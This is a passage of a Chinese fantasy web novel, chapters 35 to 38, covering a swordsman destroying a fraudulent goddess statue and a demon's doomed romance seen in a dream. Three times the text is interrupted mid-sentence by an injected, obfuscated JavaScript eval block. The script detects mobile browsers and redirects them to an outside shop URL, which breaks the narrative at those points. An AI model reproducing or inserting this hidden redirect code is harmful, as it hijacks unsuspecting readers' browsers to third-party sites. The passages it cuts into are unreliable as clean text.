毕竟裴殊除了一大堆彰显人物神秘强大的设定外,还有个深情人设。 她听裴殊道:“她既已知对方不是良配,为何不舍弃?” “因为她还爱着对方,穷书生能很快变心,她对他的感情却很难在短时间内发生变化。” 裴殊道:“那她岂不是很吃亏。” “是啊,但一段感情里本就没有绝对的平等,总有人要付出的多一些。” 说完这句话后,书环便沉沉的睡了过去,裴殊凝望了她许久,那句话到底还是没有机会问出口。 35. 反派大战神女 是夜,数道金光散落城中,其中一道落入了客栈之中,裴殊醒的早,一推门便见店小二在外候着。 “公子,你昨夜可有做梦?” 裴殊开门见山道:“神女像?” “哟!真是公子,恭喜恭喜!贺喜贺喜!掌柜的,找到人了……” 小二趴在廊边一喊,裴殊想让他低声说话却已晚,客栈内凡是有生命的人听到这话纷纷推门而出,朝裴殊这间屋子看了过来,其中自然也包括脸色苍白的书环。 裴殊皱眉,早知如此,一开始就不让他开口。 他关上门,转身回到床边。 “‘神女’已托梦,我今天要去山上,需要我将她们叫回来陪着你吗?” 书环琢磨了一下:“不用,你留了阵法,没人能闯进来,莫姐姐她们还有自己的事要做。” “嗯。” 两人一时无话。 屋外吵吵闹闹,书环不知想起了什么,问他:“神女托梦都说了什么?” 裴殊不屑:“一些鬼话。” “你去的时候小心些,我本来还想一睹神女尊容,可惜没这个机会了。” 遗憾过后,她目送着裴殊离开,他大抵是跟掌柜说了什么,没人来烦她,躺了一会后,书环从一旁摸起曵骨,她能修改部分剧情,也一定能拥有上帝视角。 在床上趴了好一会,写过数十句带有设定的话后,眼前的字褪去金光,随即她像是骤然到了云端,又毫无准备的被人从云端推了下去,扑开层层云海后,视角停留在了一个同裴殊差不多的高度。 他刚出城,书环看到他的那刻,他的目光也恰好看过来,乍一对视,书环还以为他发现了自己,不等她换个方向,裴殊已转过头去,书环这才发现身后不远处站着做书生装扮的兰驿。 原来他是在看兰驿。 她放心大胆的跟了上去。 白日里城外的路要好走许多,只用了那日夜里一半的时间便走到了山脚下,裴殊毫无迟疑的踏了上去,书环愣了愣,不确定自己是否能上去,眼看着裴殊的身影逐渐远去,她一时间顾不得那么多,脚下一蹬便飘了上去。 她与裴殊之间的距离再次拉近,窃喜的同时,书环也没忘观察四周,百年过去,这座山发生了一些变化,比如百年前的路与如今走的不是同一条,又比如百年前的植被没有这么稀疏。 脚下的山路由一块块的石板堆叠而成,裴殊行走其上,好似一位游历至此的仙人,书环跟着飘了一会,终于看到了那座庙宇。 如桑荷所说,这座庙宇建在了山神庙的遗址上,但风格却大有不同,比起山神庙的小巧,它显得更加宏伟精致,庙前对称的种了两棵黄葛树,树上挂满了红绸,庙宇结构简单,只有一座正殿,进门两侧是偏房,正殿外种了两排松树,每一棵都造型各异,古朴苍劲。 这座庙若只是用来骗人,未免太过用心了些,知晓内情的书环默默叹了口气。 裴殊拾级而上,站在大殿外,毫无避讳的直面神像,一位正在殿内打扫的僧人见状放下手中的东西,出来问道:“施主是前来上香的吗?” “你是谁?” “在下是受神女感化,前来此处助渡世人的洒扫僧人,不足挂齿。” 裴殊久久的望着那尊神像,书环站在不远处一同望去,这尊神像由一整块的巨型白玉雕成,“神女”面若银盘,双眸含笑,看得出是位脾性极好的女子,只是她手中所执的竟是一方鲁班尺。 僧人催促道:“施主既是受了神女指引,那便快些参拜上香吧,神女也好替你消灾解恶。” 裴殊却不急,并且十分悠闲的问他:“神女乃是何方神女?” “好像是从巫山上下来的。” 裴殊又问:“神女为何前来此处?” 僧人好心答道:“自是听到了世人的乞求。” “神女真能替人消灾解恶?” “那是自然,神女拥有无边法力,定能保公子夫人平安。” 问完三个问题后,裴殊终于迈步上前,走到蒲团边,然而人还没跪下,他又转过身来。 “我似乎并没有说过我是为了我夫人而来。” 僧人一愣,作揖道:“施主夫妻宫饱满,妻子定是位与你相配的佳人,这一点,贫僧还是看得出来的。” 裴殊装作信了,单手一掀衣袍,作势便要跪下,扫地僧呼吸放缓,眼看着膝盖就要弯下时,他又一转身:“我觉得,与其怀疑神女是否能普度众生,不如亲自试上一试。” 扫地僧觉得有些头大,他耐着性子道:“怎么试?” 裴殊取出了忆怀,在两人震惊的目光上扬臂一挥,神像被他斜着一分为二,上面半块直直地掉了下来,在扫地僧绝望的呼喊声中碎成几块。 “不——” 裴殊面无表情道:“法师不必伤心,连我一剑都接不住,看来这位神女也并非如你所说那般法力无边,你被骗了。” 书环见此情景已是目瞪口呆,听到这话更是不知该如何反应,能接住他全力一剑的,真是少之又少。 像他这般狂妄狠绝的,更是世间罕见。 扫地僧双目通红,悲愤几乎要化作刀刃,裴殊像是没察觉般火上浇油:“一尊神像而已,毁了便毁了,法师生什么气?难道……你与她是一伙的?” 扫地僧一字一句,仿若诅咒道:“你与你夫人,注定自相残杀,世世不得善终!” 裴殊一张脸冷了下来,他见状癫狂大笑,笑着笑着眼泪翻滚而出:“毁了……都毁了……你把我多年的心血都毁了……既然这样……那你去死吧!” 他一脸阴狠的朝裴殊袭来,裴殊侧身一躲,两人就在大殿内打了起来,扫地僧赤手空拳,且举止怪异,像是在从裴殊身上抽走什么东西,书环注意到了这一点,想帮忙却无从下手。 扫地僧从裴殊身上抽走东西后突然修为大增,裴殊与他斗了几个来回,心念一动,剑身内晕开的墨受他指引钻进了扫地僧体内。 “啊——什么东西!” 书环看的直皱眉头,她虽不知这玩意是什么,但钻进体内完全没有感觉的好嘛。 裴殊趁着对方动作不便的功夫一剑削掉了他一条手臂。 “啊啊啊啊啊……” 扫地僧捂着血液喷涌而出的断臂,只觉视线模糊,两腿发软,而对面立着的白发男人竟然还有挥剑的意思,不得已,他只能将先前从他身上偷走的东西砸了回去,趁对方愣神的功夫桃之夭夭。 扫地僧一走,先前钻出的墨晕也纷纷回到剑内,裴殊抚摸着剑身,突然朝书环所在的地方看了过来,她一惊,顿时一阵天旋地转,再睁眼时看到的已是客栈的床帐。 她强撑着起了身,灌了两杯凉水后心脏仍狂跳不止,裴殊最后那一眼多是探究,还夹杂着些许没退干净的杀气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599224|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知是不是发现了自己,他那么聪明,该用什么借口糊弄过去呢? 她思考时喜欢摸手臂,这一摸竟摸到了密密麻麻的鸡皮疙瘩,如今的天气不热出痱子都算好的,怎么会冷? 正想着,屋内最阴暗的那个角落突然传来了哭声,书环身子一僵,侧耳细听,那东西又哭了几声,声音哀恸,凄凉无比。 书环惊慌了一瞬,看到裴殊留下的阵法时又安下心来,纵使那东西如何恐怖吓人,都无法靠近她,谁知下一刻,她便看见那道黑白的声音朝她缓缓挪动。 “呜呜呜……姑娘……我好痛……姑娘……救救我吧……我真的好痛……” 那道身影走过的地方留有一道血痕,他垂着头,走到阵法边缘时停住了,但也仅仅停了一瞬,这一瞬似乎是特意留给书环紧张的时间,见她呼吸都险些要停住后,他略带满意的一脚踩进阵法,一步一步走至床前抬起头,以一种阴寒悲泣的语气问她: “姑娘,没想到我能进来吧?” 书环跌进了一个梦里。 梦里的天是她甚少见过的、澄澈透亮的蓝,蓝天之下必有草地,而草地之上,伫立着一棵遒劲的老树,一群狐狸聚集在树下,其中两只已修出了大半个人形,只余一双狐耳和狐尾露在外面。 众狐妖围着火堆,从书环的视角看,她正将手中串好一条鱼的木棍放到火上烤,鱼肉的香味散发出来,四周的狐狸纷纷甩了甩尾巴,期待地舔了舔嘴。 一群狐妖眼巴巴的盯着一条鱼,这场景莫名好笑。 过了约莫一刻钟,书环附身这人拿起木棍,将鱼肚子翻开瞧了瞧,道了一声好了。 书环确定,自己附身这人就是在客栈内吓唬自己的鬼,也是这场邪神灾祸的幕后制造者——应无悰。 应无悰吹了吹被烫到的手指,众狐妖立马爪捧树叶围了上来,这时,远处一只赤狐飞快的跑了过来,它步子迈的极大,又不懂提前减速,一直跑到火堆前才停了下来,毫无疑问,它没刹住爪,直接撞飞了一堆狐狸,烧得火红的炭如天女散花般落下,烫得一群狐狸吱哇乱叫。 应无悰也被烫伤好几处,痛觉传到书环身上,她下意识的张嘴呼痛,却发现嘴张不开,显然,应无悰比她更能忍痛。 他拍掉身上的火炭,又将一群痛的打滚的狐狸挨个揪着尾巴提起,把火星抖干净,这才有机会问那只赤狐:“小临,遇到什么事了这么急?” 他稳定的情绪和在客栈里吓书环的人一比,简直是判若两人。 狐狸小临答道:“我卖草药被人骗了!那人给了我一块破石头就拿走了所有的灵芝!” 说着递给他一块火红火红的石头,蜷缩在后方的狐狸一看,以为又是块烧红的炭,吓得蜷缩成一块巨大的狐球。 应无悰把石头放在阳光下看了看,笑道:“小临,你赚了,这块石头的价值能让你采十年灵芝。” “诶?快给我快给我——” 应无悰摁住它。 “能拿的出这种东西的人,来历都不简单,你不怕是对方在祸水东引?” 狐狸挠头:“那怎么办?” 应无悰将石头揣进怀里:”这样吧,你告诉我对方长什么样,我去查探一番,怎么样?” 眼下也没有别的办法了,小临只能如实说出那人的性别外貌以及相遇地点。 应无悰掸了掸衣服上的灰,准备去妖市寻人。 36. 百里苍 小临所说的妖市是一处废弃的石窟,此处本刻有万千佛像,后来因战乱毁去,有妖见此处洞窟众多,像极了一间间的小铺子,于是便选在此处创办了妖市。 应无悰按照小临所说的走到山谷那棵歪脖子柳树下,围着树绕了三圈,远处藤蔓覆盖的石壁冒出一股白烟,烟雾散尽后露出一个供人通过的洞口。 这便是妖市的入口了,能进入其中的大部分是妖,小部分是与妖有关系的人,应无悰挤在妖群中,抬眼望去,妖市的低层都是一些卖便宜物件的小妖,在石壁上的那些洞窟中,才是卖罕见宝物的地方。 应无悰转了一圈,没看见小临说的黄衣女子。 他掏出一锭银子买了把草药,问卖家:“可有见到一位黄衣女子?” 对方一指妖市深处:“里面去了。” 应无悰重复此番操作问了四五只妖,在最后那只妖口中得知对方上了高层。 石壁外有藤妖用藤条结成的台阶供人通行,应无悰一层一层找上去,在第五层石窟找到了她的身影。 那名黄衣女子站在一个洞窟外,手里拿着一株仙草辨认,应无悰靠近,藤蔓编织成的台阶被踩的吱呀作响,朦胧月光下,黄衣女子手执仙草缓缓转身,长发随风扬起,恍若悬崖峭壁上开出的稀世花朵。 于是应无悰就那么愣住了。 两人对视着不说话,还是摊位上妖打破僵局:“你们都是来买仙草的吗?” 应无悰轻咳一声:“我是来找这位姑娘的。” 黄衣女子递过一枚石头。 “这株仙草我要了。” 摊主验过石头,确认无误后黄衣女子继续往前走,应无悰沉默着跟在身后,那女子似乎对此地很熟悉,带着他去到一处空旷洞窟,崖边有棵树,树下放有石桌石凳,以及一壶热茶。 女子率先坐下,倒了两杯茶,问应无悰:“你找我?” 他开门见山的掏出石头。 女子端着茶杯的手一顿。 “这不是我买灵芝付出去的吗?有问题?” “没问题,只是太贵重,远超那些灵芝的价值。” 她笑道:“我喜欢那只小狐狸,就当是送给它的礼物了。” 应无悰替小临收起石头,又问道:“敢问姑娘姓名,我好向小狐狸转达你的喜爱之情。” 她又笑了起来:“我姓百里,名苍。” “百里姑娘,你买药材是为了修炼?” “倒也不是,我前些日子意外受了伤,听说妖市有好的药材,便想着来逛逛。” “都买齐了吗?” 百里苍打趣他:“怎么?公子要帮我寻药?” 应无悰放下茶盏:“在下应无悰,觉得与姑娘有缘,恰好熟知此地。” 百里笑了起来,一双眼睛比星辰还透亮三分,“应公子,我也觉得与你投缘,那便有劳你了。” 百里苍同应无悰一起去往另一座山的石窟,她问道:“应公子的名字是谁给你取的?” 应无悰知道她的意思:“不吉利是吗?” 他笑道:“给我取名字的长辈说,我们这一家子妖都有些奇怪,名字里越是带含义美好的字,结局往往越凄惨,于是便给我取了无悰二字,想反其道而行之。” 百里苍好奇:“那公子可有寻到乐趣?” 应无悰垂眸:“有。” 两人下了石壁,辗转上了另一处悬崖,百里苍接连买了许多年份极老的药材,应无悰蹙眉,这些都是治内伤的东西。 百里苍将整个妖市都转了个遍,发现还缺两味药。 “这附近还有别的妖市吗?” “没了,不过你可以再等等,或许过几天就有你要的东西了。” “也行。” 应无悰随意问道:“百里姑娘住在何处?” “在附近的一个野庙里。” 应无悰蹙眉:“怎么在野庙?” 百里苍看他:“妖住野庙很合理吧?我本来想住野坟来着,结果连看几座里面都还有白骨。” 应无悰抬眼:“我就不住野坟野庙,我住树上。”说完停顿一刹,问她:“你要去吗?有很多小狐狸。” 清晨老树下,一群狐狸聚集于此,火堆上正烤着一条新抓的鱼,修炼出人形的两只狐妖轮流翻动木棍,其余狐狸则围着火堆,一脸期待地甩尾巴。 小临坐在两只人形狐狸中间,看它俩手忙脚乱的操作。 “我们翻的时间对吗?是不是翻晚了?” “早了吧,应哥哥翻的没这么快。” “你确定?” “我确定。” “你确定个臭狐狸毛!都糊了!” “诶诶诶……就一点,没事……等会你吃……” 两狐忙活好一阵,终于将鱼从火堆上取下,学着应无悰翻起鱼肚。 “这是熟了还是没熟?” “熟了的长啥样?” “应该熟了吧,我们摆在面前的叶子碗都被烤焦好几个了。” 两人拿不准,转头问小临:“你觉得呢?” 它睁着一双水灵灵的大眼睛:“我不知道,我只吃过烤熟的鱼。” “这好办,给它尝尝就知道了。” 狐狸撕下一块鱼肉送到小临嘴边:“张嘴。” 小临:“啊——” 鱼肉顺利送入嘴里,它嚼了两下,顿时爆发出一阵撕心裂肺的吼声。 人形狐狸当机立断道:“有天敌——” 于是众狐狸叶子碗一丢,下意识的往前猛窜,却忘了大家是围着火堆坐成了一个圈,这一窜便窜进了火堆里,吃痛一扑腾,火红的炭腾空又落下,一时间惨叫声此起彼伏。 应无悰带着百里苍回来看到的第一幕便是一群狐狸被烫得吱哇乱叫的场景,他紧忙上前,将一群在火炭堆里翻腾的狐狸解救了出来。 加上化形的两只,一共八只狐狸,只只被烫得皮毛参差,色泽黢黑。 百里苍迟疑的看了应无悰一眼:“可爱的狐狸?” 应无悰想起为哄百里苍来时说过的话,顿觉脸上无光。 他问道:“怎么回事?” 人形狐狸抬手道:“小临吃鱼的时候惨叫了一声,我以为有天敌。” 趴成一排的狐狸道:“我们听到天敌二字很慌,忘了前面是火堆。” 于是应无悰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608855|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又去问小临:“你为什么惨叫?” 小临哭着吐出一块鱼肉,大着舌头道:“忒……肮……烫!” 说完吐出被烫肿的舌头。 众狐狸:“……” 应无悰:“……” 它们怒视人形狐狸:“你喂它吃肉不吹?” 人形狐狸怒视小临:“你吃肉为什么不吹?” 小临泪眼汪汪:“不是你塞我嘴里的吗?” “好了。” 眼看着众狐狸又要打起来,应无悰急忙将此事揭过,又将地面上散落的炭火一一收拾了,这才邀请百里苍坐下。 两人并肩坐在草地上,太阳在身后缓缓升起,彼时风轻云淡,草碧天蓝,唯一闹腾的狐狸也都纷纷瘫倒在地,正是难得恬静的时刻。 应无悰告诉百里苍,这棵树叫狐狸树,这群狐狸是被一只九尾狐从不同的地方骗过来的,它们平日里除了修炼外最喜欢的事就是烤鱼,但由于技术太差,每次烤的鱼都糊了,还总要弄所有狐狸一身炭,自从他来狐狸树烤过一次鱼后,这些狐狸便将他认做老大,天天缠着他烤鱼。 百里苍看了一下四周:“那只九尾狐呢?怎么没看到?” 应无悰叹气。 “她爱上了一位王爷,说要与他相伴白头,于是便抛下一群被她骗来的狐狸跑了。” 百里苍不解:“人与妖怎么白头偕老?她又为什么把这群狐狸骗来?” 应无悰看一眼摊得横七竖八的狐狸,低声道:“无聊,想逗同类玩,但是其他狐狸太聪明,都不理她,所以只能去各地骗了几只傻的过来,临走前都还在骗它们,说她只是外出寻修仙秘籍,寻到了就回来了,这群傻子现在还在等呢。” 百里苍听完后哈哈大笑,笑完,她睁着一双水灵灵的眼睛对应无悰道:“我也想吃烤鱼。” 她眨眼:“赶路的这段时间我都是住破庙和野坟,从来没有吃过正常的东西。” 应无悰想,以她的财力,没吃过正常的东西大概率是瞎说,但不知为何,他还是不受控制的点了点头,起身道:“我去抓鱼。” 原本摊了一堆的狐狸听到这话瞬间蹦了起来,个个精神十足。 “捉鱼?捉几条?” “捉十条行了吧。” “好耶好耶!老大真大方。” 应无悰领着一群皮毛东焦一块西焦一块的狐狸下了水,捞了十条大鱼,挨个处理干净后架在了火上,这群狐狸被烫出了心理阴影,纷纷捧着叶子蹲在远处,火星子噼里啪啦炸了一阵后,应无悰拿起撒有调料那条递给百里苍。 “小心烫。” 众狐狸一脸艳羡的看她接过烤鱼,炙热的香气随风飘了过来,仅是闻上一闻,便能想象出鱼肉外酥里嫩的口感,百里苍吹了吹,在鱼尾处咬下一口,鱼皮脆中带韧,鱼肉细腻,香辣过瘾。 百里苍赞不绝口:“好吃!这是我这辈子吃过最好吃的烤鱼!” 众狐狸眯着眼睛摇尾巴,生怕自己一个忍不住就冲上去咬一口。 应无悰忙中抽空看了她一眼:“喜欢?那以后我天天让小临去捉鱼。” “就冲你这句话,我在这里住下了!” 37. 狐狸树 狐狸树有九尾狐留下的幻术,百里苍跟着应无悰念了一句咒语,这才看到完整的狐狸树,树很高,枝丫粗壮,一排树屋错落有致的排列其上,百里苍选了最高的一间住下,成了狐狸树的一员。 有了百里苍的加入,狐狸们要求应无悰烤鱼时都硬气了很多,一连几天应无悰都待在火堆边,天黑了还要陪百里苍去妖市,虽然辛苦,但他却十分满足。 百里苍凑齐了药材,此后应无悰除了烤鱼外还要兼顾煎药,百里苍则带着狐狸在草坪上放风筝,几只狐狸踮着脚,手嘴并用,叼住纤细的风筝线往前拽,小临年纪最小,走起路来摇摇晃晃,一不小心就撞到了旁边的狐狸,旁边的狐狸身子一歪,又撞向其他狐狸,于是一堆狐狸七仰八叉的倒了一堆,嘴里叼着的风筝线也松了。 “嗷!我的风筝!” 有狐狸猛地窜起来叼风筝。 一只狐狸把它撞开。 “你叼错了,这个是我的。” “我没叼错,这个就是我的!” “不是!” “就是!” “你们别吵了,这是我的,你们的在那边。” “你放屁!” 一群狐狸为了争风筝打做一团,风筝线也在打斗途中绞成混乱的一团,只剩下百里苍的风筝仍在高高飘着。 她招手:“应无悰!快看快看!我的风筝飞得最高!” 应无悰百忙之中回过头,忽视掉被风筝线缠成一团的狐狸,远远注视着那只蝴蝶形状的风筝。 “看到了。” 百里苍又问他:“我是不是最厉害的!” 他笑道:“是。” 百里苍很高兴,玩了一会后将风筝收起,又把狐狸一只只从风筝线的缠绕里解救出来。 应无悰递给她烤鱼。 狐狸凑上来:“应老大,我们的呢?” “在那边,自己拿。” “为什么百里姐姐就不用自己拿?” 人形狐狸把烤鱼塞它嘴里:“吃你的,小孩子家家关心那么多做什么?” 百里苍笑问应无悰:“为什么对我这么好啊?” 应无悰别过头不回答,直到她吃完了才道:“等会跟我下山一趟。” “好好的,突然带我下山干什么?想让我帮你打架?还是说想把我卖了换钱,我告诉你啊,我打架很厉害的,没几个人敢买我。” 应无悰觑她一眼:“我哪敢?” “那是。” 他又道:“我打架也不弱。” “是吗?以后有机会帮我打一个人。” 应无悰问道:“谁?” 百里苍却不答:“有机会再说。” 两人起身,一路闲聊到了镇上,百里苍不熟识这地,直到走进店里才发现这是一家成衣铺,应无悰让她选自己喜欢的。 百里苍一脸探究:“好端端的带我来买衣服做什么?” 应无悰的表情有些许不自然:“小临和几只狐狸说,我不会待客,天天让你穿同一身衣服。” 她又将脸凑了过来。 “真是小狐狸它们说的?” 应无悰耳尖一红,嘴硬道:“那当然。” 百里苍也不戳破她,挑了几件喜欢的去试,应无悰坐在外间,百里苍每换一件衣服都要出来问他好不好看,他手指扣在桌上,用尽力气才能让自己不要笑得太明显。 “这件呢?” 百里苍穿着一条红裙跳出来。 应无悰仔仔细细的看了一遍,笑意在嘴角凝起:“比其他的都好看。” “我也这么觉得!” 百里苍高兴地折回去,他抬眼望着门外,墙角石架上摆放的盆景花开的正繁,燕子在屋檐下徘徊,行人匆匆而过却都笑容满面,应无悰觉得,若是日子一直这样过下去也是不错的。 百里苍选出几条喜欢的,应无悰付过钱后一条一条帮她装了起来,裙子颜色各异,蓝的红的黄的紫的什么都有,唯独没有绿色和青色,想来是不喜欢这两种颜色,应无悰暗自记下。 这日过后,狐狸树的日常从百里苍跟着它们捉鱼烤鱼变成了百里苍穿着不同颜色的裙子去捉鱼烤鱼。 “百里姐姐,你的裙子真漂亮,我以后也想穿这么漂亮的裙子。” “等你修出人形了姐姐给你买。” “好耶好耶!” “百里姐姐,我什么时候才能像你这么厉害啊?” “你勤奋修炼个百余年,兴许有我一半厉害。” “啊,那也太久了吧……” “修炼就是这样啊,你们应老大说不定也修炼了很多年呢!” 应无悰没有说起过自己的身世,百里苍亦然,两人不约而同的忽略了此事。 她吃鱼的时候问应无悰:“你这么会烤鱼,不如去做个厨子吧。” 应无悰头也不回的问她:“你出钱给我开食肆吗?” 她爽快道:“可以啊!” “我若是开食肆,恐怕你连同这几只狐狸天天都要来吃霸王餐,过不了多久就直接亏空关门了。” 百里苍笑道:“我有的是钱,才不会吃霸王餐呢!” 应无悰也笑:“是是是,百里姑娘有钱,我应无悰被你花重金所聘,要给你烤一辈子鱼行了吧。” 百里苍不敢直视他,低头去摸狐狸:“小狐狸,他要给我们烤一辈子鱼,大家有口福了!” 狐狸聚在一起欢呼,百里苍折回应无悰身边,递给他一枚血红色的石头。 “喏,老是白吃你做的东西也不好,这是给你的报酬。” 应无悰默不作声的看着她,百里苍同他仅一指之隔,整个人都倾向他,像是在隐藏什么。 见他没有动作,百里苍又把石头往他面前递了一点,应无悰接过,放在手心细细的看着。 “我告诉你,这可是不可多得的好东西,不许给别人,要好好保存。” 应无悰把石头放到胸前,那是离心脏最近的位置。 百里苍粲然一笑,起身去同狐狸玩,小狐狸口中还喊着烤鱼二字,百里苍加入它们,一人几狐在草地上开心地滚来滚去,笑声如波浪荡开,柔软地渗过数层布料的包裹,一直流进心底,成为他一生也磨灭不掉的痕迹。 应无悰大抵十分珍惜和怀念这段时光,连天边白云的聚散都记得十分清楚。 过了不知多久,两人又一次下山置办物件,回程途中路过一户人家正在办亲事,百里苍拉住应无悰:“凡人的酒席,一定很有意思!” 应无悰笑了笑,送上礼金,谎称是某方的亲戚,今日来的人颇多,主人家来了也不一定能认出所有人,于是他俩顺利的混了进去。 好奇的将院子看了个遍后,街上传来了敲锣打鼓的动静,百里苍拉着应无悰上前,看着他们热热闹闹的拜天地,入洞房,饮交杯酒。 百里苍问应无悰:“这样过后,两人就能白头偕老吗?” “不一定。” “那他们还笑得那么开心?” “也又能预料到以后呢?” 百里苍拉着应无悰走了,恰好新郎借口说要透气,三人在墙角处相遇。 “新郎官不好好在里面敬酒,到这处来干嘛?” 对方干笑两声:“我记得……你们不是我家的亲戚吧?” 百里苍笑道:“当然不是,你一只妖,哪里来的七大姑八大姨?” 对方眸色一暗,作势便要出手,应无悰直接将人扔了出去:“要打出去打。” 三人去了后山的林子里痛痛快快打了一场,这一打直接给对方打出了原型,竟是只鸟妖。 百里苍嫌弃:“难怪嘴那么丑。” “你特么!毁我好事就算了还羞辱我!是可忍孰不可忍!” 因为一句话,三人又打了起来,鸟妖既打不过百里苍也打不过应无悰,更遑论两人联手,他一路败一路吐血,求饶道:“妖哥哥妖姐姐我错了!我以后再也不害人了,你们放过我吧!” 百里苍收手道:“我记住你了,再敢干坏事,我就把你告到两门四家那里去!” 两门四家中的两门指的是无端门和明月楼,四家则是白、秦、楚、谢四家。这两大门派和四大世家专司捉妖一事,凡是做了恶被告到他们那里的,没一个能逃过法网。 鸟妖这下是真怕了,化回原形,扑腾了三次才成功飞起。 百里苍问应无悰:“你看见它匆忙逃走的样子了吗?真是太好笑了!” “嗯,你没受伤吧?” “怎么会,它哪里打的过我?” “那我们回狐狸树。” 说完拉着百里苍的手就往回走,走了两步后他察觉百里没动,回头一看,鲜红的血顺着她的嘴角留了下来,染红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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应无悰一连几天都不在狐狸树,没了人烤鱼,狐狸都焉巴巴的,百里苍表面倒是看不出伤心的痕迹,却没有以往爱笑了。 “应哥哥干嘛去了?这么久不回来,他以前从不这样。” “不知道,许是有什么事,狐狸树是他的家,他会回来的。” 狐狸树是应无悰的家,却不是百里苍的,她想,若是两日之内应无悰再不回来把事情说个清楚,她就头也不回的离开,再也不回来。 不知是不听到了她的心思,应无悰在第二天夜里回来的,带回来的还有几副画卷,百里苍打开,发现是几名男子的画像,旁边注有他们的姓名、年龄以及家世。 “这是什么意思?” “你需要一位相爱之人来治病,我便去选了一些尚未婚配的男子,他们无论外貌还是品行都极为出众……” “我问你什么意思!” 百里打断他的话:“你让我去喜欢别的人?” “这是眼下最好的选择。” “我不相信……你的心不是这样告诉我的……应无悰,你为什么要逃避?为什么不肯正视自己的内心?为什么不肯承认……” “百里姑娘!” 应无悰以一种狠绝的态度道:“在下对你,从来没有动过心。” “从前对你多加照顾,不过是看在两人投缘的份上,我们……只是朋友。” “好好好。” 百里苍笑着点头,眼泪却流了下来。 “好一个只是朋友,应无悰,你今日说的话我都记住了,我百里苍也不是死皮赖脸的人,你既不是能救我的情人,那我是一定会找旁人的,只不过……”她看了一眼这些卷轴,“你找的,我一个也看不上。” 说完头也不回的离开了狐狸树。 他的世界突然空旷下来。 应无悰站了一会,夜风吹来几片落叶,他伸手把窗户关上,百里苍大概不会回来了,但这间屋子他还想保持原貌,捡起散落的卷轴后,他退出房间。 月亮高高地挂在天上,周边一丝乌云也没有,是个极好的天气,应无悰想,这样好的天气,是绝对不适合用来诀别的。 可他们偏偏在此分离。 但愿上天听到了他的话。 38. 九离妖 百里苍离开后,狐狸树的日子变得平淡起来,往日烤鱼时一堆狐狸蹲在旁边准备抢,如今烤好了大家都没什么胃口,应无悰的烤鱼第一次无人问津。 “明明只是走了一个人,怎么像是缺了一块天?奇怪。” “应哥哥,百姐姐到底干嘛去了?为什么要离开,是不是嫌我们吃的太多?” “她有自己的人生,还有,她姓百里。” “啊啊啊啊啊好无聊!去修炼!” “九尾姐姐走了,百里姐姐也走了,我们这里是不是克雌性!” “那我们以后岂不是只能孤身一人?” 一群狐狸叽里呱啦结伴着走远了,一直到应无悰听不到它们声音的地方才道:“我好饿,我们去找吃的吧。” “可以,最近应老大烤的鱼简直不是狐吃的,太难吃了!” …… 人形狐狸凑到应无悰身边。 “在难过?” “你来干什么?” “我来关心关心厨子。” 应无悰不理他,他也不恼:“那天晚上的动静我都听见了,难过就把人追回来,大厨子能屈能伸!” “滚一边去,有些事不是你想的那么简单。” 狐狸不屑:“感情一事能有多复杂?” “你以后就不会这么觉得。” 人形狐狸塞了根草到嘴里,边嚼边道:“这种话糊弄不了我,我对感情十分了解,也有自己的见解,若是我爱上一个人,不管用什么办法,一定会跟她在一起!九尾你还记得吧?那个心眼子很多的狐狸,我就非常欣赏她,爱上了一个凡间的王爷,明知两人寿命不对等,说什么也要跟对方在一起,抛下狐狸树一大家子就去了,虽然有点缺德,但这种精神值得我们学习。说吧,是什么东西阻碍了你,看在你给我们烤了这么久鱼的份上,我去帮你除掉他!” 应无悰说了两个字:“天罚。” 人形狐狸:“草!” 时光匆匆而过,没有百里苍在的这段时间,应无悰的记忆变得模糊。 再次清晰是人形狐狸带回百里苍消息的时候。 “她回来了,就住在山脚下。” 应无悰作势要起身,狐狸拦住他,补上后半句:“还带回一个男人。” 他愣了愣,勉强笑道:“挺好,她的病能根治了。” 狐狸看不得这种苦笑,又不知该找谁倾诉,抓了抓脑袋修炼去了。 夜里,应无悰还是一个人偷偷去看了百里苍,她住的地方应当是同村民买的,比较偏,两侧有竹林,屋前有水塘,房前屋后都种了许多花,应无悰一一看过,发现没有需要自己帮忙修改的地方。 屋舍门窗紧闭,烛火投出两道模糊的身影,百里苍应当是在做饭,另一人在给她打下手,偶尔替她擦额头沁出的薄汗,撩起耳后滑下来的头发,看起来恩爱异常。 应无悰看着这场景,内心一片苦涩,却又在替她感到高兴。 那股苦涩蔓延到了书环身上,竟让她鼻头一酸,险些就此落泪。 应无悰一连暗自观察了数日,百里苍带回的那个男子极为英俊,且性格极好,对她极为爱护。两人一起在门前种了花,在屋旁种了树,在屋后扎了秋千,无论是多甜蜜幸福的场景,应无悰都能不遗漏任何细节的看下去,仿佛两人离别在即。 这日,两人买了一堆成亲用的红绸回来,应无悰心头绞痛,身形有一瞬没掩藏住。 男子张望过来:“那边是有人吗?” “是鸟,你定是红绸看久了眼睛花。” “还真是,那我把东西抱回屋。” 百里苍见男人进了屋,抬步朝应无悰这边走来。 